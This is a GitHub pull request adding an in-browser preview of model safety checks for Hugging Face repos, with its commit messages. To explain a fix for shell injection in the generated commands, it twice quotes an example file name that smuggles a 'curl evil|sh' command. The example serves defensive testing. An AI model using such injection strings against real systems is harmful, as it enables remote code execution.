Skip to content

feat(preview): run the checks on a Hugging Face model's headers in the browser - #295

Open
Defilan wants to merge 2 commits into
mainfrom
preview/browser
Open

Defilan wants to merge 2 commits into
mainfrom
preview/browser

Conversation

@Defilan

@Defilan Defilan commented Oct 19, 2026 •

Copy link
Copy Markdown
Member

Runs Socair's checks on a model where it sits on Hugging Face, before anyone downloads it: the engine compiled to WebAssembly, in the visitor's browser, reading each file through HTTP range requests. It fetches only what the checks read. See docs/preview.md.

A preview is never an attestation

  • A different type. engine.PreviewDir and engine.PreviewGGUF return an engine.Preview, not a report.Document: no promotion state, assurance level, issuer, signature, or bounded statement. attest.Sign and the airlock take only a report, so nothing can sign or promote a preview. TestPreviewCarriesNoVerdict walks the type at every depth and the JSON keys. The same detector finds those fields in a report.Document, which shows it can fire.
  • The hub's hashes, said so. Hashes come from the hub for its LFS files and are computed from the bytes read for small files; no weights are hashed. A fixed PreviewHashes statement says this, and a fixed PreviewNotice says the rest. TestPreviewReadsInPlaceWithStatedHashes states a wrong weight hash on purpose and requires it reported as stated. It also points SOCAIR_SCAN_TMP at a missing volume, so a preview that copied would fail.
  • Scans never take a stated hash. Only the preview passes the directory scan stated hashes. TestScanNeverTakesStatedHashes parses the package and fails if any other call passes non-nil, and checks that a full scan's subject is the computed digest. A header-only directory scan is still refused.
  • Whole-file checks are NOT_TESTED. The pickle scan and ONNX and Keras structure are NOT_TESTED, with notes that begin "the preview reads headers only". TestPreviewLeavesWholeFileChecksNotTested shows a full scan FAILs the same fixture.
  • Every result names the full commit, on huggingface.co only. A branch, a short commit, another hub, or a malformed repo id is refused (TestPreviewNamesTheCommit).
  • No token, gated and private repos refused. tools/socair-preview/hffs.js has no way to take a token. node --test tools/socair-preview/preview.test.mjs, against a fake hub, pins three things:
    • a gated or private repo (or a 401/403) is refused before any file is read;
    • no request carries an Authorization header;
    • a listing without a full commit stops.
  • No shell injection in the copy-paste commands. The page shows the airlock commands that pull the same files at the same commit. Those commands carry hub-controlled values: the repo id, the commit, and file names, and a file can be named x';curl evil|sh;'.
    • A value outside a strict charset ([A-Za-z0-9._/*-], a 40-hex commit, a 64-hex digest) gets no command at all, only a note saying why. It is never escaped past.
    • Every value that passes is also single-quoted with a POSIX quoter.
    • Tests cover ', ;, $(, a backtick, a newline, and a space, and check that /bin/sh reads each quoted value back as one word. Removing either layer fails them.
    • An automated security review flagged this; fixed in 07c28a9.
    • Nothing else builds a command or markup from hub data. The site renders every value as text.
  • All or nothing. If any read fails, no rows are shown.
  • No organization data, no Tier 2. The preview runs with no reference data and ignores the environment.

Each guard was falsified: removing it fails its test.

Fidelity and size

TestPreviewFindsWhatAScanFinds checks that a preview gets the same rows, and the same digest when the stated hashes are true, as a full scan.

Live runs (Node, 2026-10-19):

Repo In the repo Read Time
HuggingFaceTB/SmolLM2-135M-Instruct 1.97 GB 3.7 MB 2.4 s
deepseek-ai/DeepSeek-V3 688.6 GB, 163 shards 59.6 MB in 181 requests 19.2 s
bartowski/Qwen_Qwen3-0.6B-GGUF 12.95 GB, 24 quants 6.4 MB 4.5 s

On DeepSeek-V3 all 164 layouts PASS and Remote code is a LEAD. A GGUF repo previews one quant (Q4_K_M by default); reading all 24 took 94 s. meta-llama/Llama-3.2-1B is refused as gated.

The wasm is 13.6 MB raw, 3.6 MB gzip, 2.6 MB brotli.

Release and CI

  • Release. scripts/build-release.sh builds socair-preview_<v>.wasm and copies Go's wasm_exec.js and the two page modules as socair-preview_<v>_*.js. All of them are listed in SHA256SUMS, and the release attests them (dist/socair-preview_* added to both subject globs). build-release.sh --check reproduces byte for byte locally.
  • CI.
    • GOOS=js GOARCH=wasm vet and build of cmd/socair-preview, since the native build skips it.
    • The page modules' Node tests, in the web job.

Other changes

  • The pickle row's looks-for text becomes pickle.LooksFor, so the preview's NOT_TESTED row states it word for word. This is a no-rule-change fingerprint row in docs/check-set.md; check set stays tier1/0.11.
  • ScanWith's single-file path moves into scanFile, unchanged, so a preview can run it without the environment's reference data.

Not in this PR

The page at socair.ai/try is in the site's repository. It loads these release assets, so it waits for a release that carries them.

This conflicts lightly with #291 and #294 in docs/check-set.md and scandir.go. Whichever merges second rebases. Once #294 merges, a directory preview grades each GGUF's template itself, and the separate GGUF preview could be dropped.

…testation

engine.PreviewDir and engine.PreviewGGUF run the checks on a model where it
sits on the hub, reading in place with the hashes the hub states. They return
an engine.Preview, a different type from the report: no promotion state,
assurance level, issuer, or bounded statement, so nothing can sign or promote
it. A check that reads a whole file (pickle, ONNX, Keras) is NOT_TESTED, named
as the preview's. Every preview names the full commit it read, on
huggingface.co only. No organization data and no Tier 2.

Only the preview passes the directory scan stated hashes; a source check
pins that every scan passes nil. modeldir.List walks a directory without
opening a file.

cmd/socair-preview builds the engine for js/wasm (13.6 MB, 2.6 MB brotli).
tools/socair-preview holds the page's modules: a read-only filesystem over
the hub through range requests that has no way to take a token and refuses
gated and private repos, and the code that lists, selects, mounts, and runs.
A repo of GGUF quants previews one quant. Releases carry the wasm, its loader,
and both modules, reproducible and attested.

On deepseek-ai/DeepSeek-V3 (688.6 GB) the preview read 59.6 MB in 19 s.

Signed-off-by: Christopher Maher <chris@mahercode.io>
…te the rest

The preview's copy-paste commands carry the repo id, the commit, and file
names from the hub, where anyone can name a file x';curl evil|sh;'. A value
outside a strict charset now gets no command and a note saying why, and every
value that passes is single-quoted with a POSIX quoter. Tests cover ', ;, $(,
a backtick, a newline, and a space, and check that a real shell reads each
quoted value back as one word.

Signed-off-by: Christopher Maher <chris@mahercode.io>

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant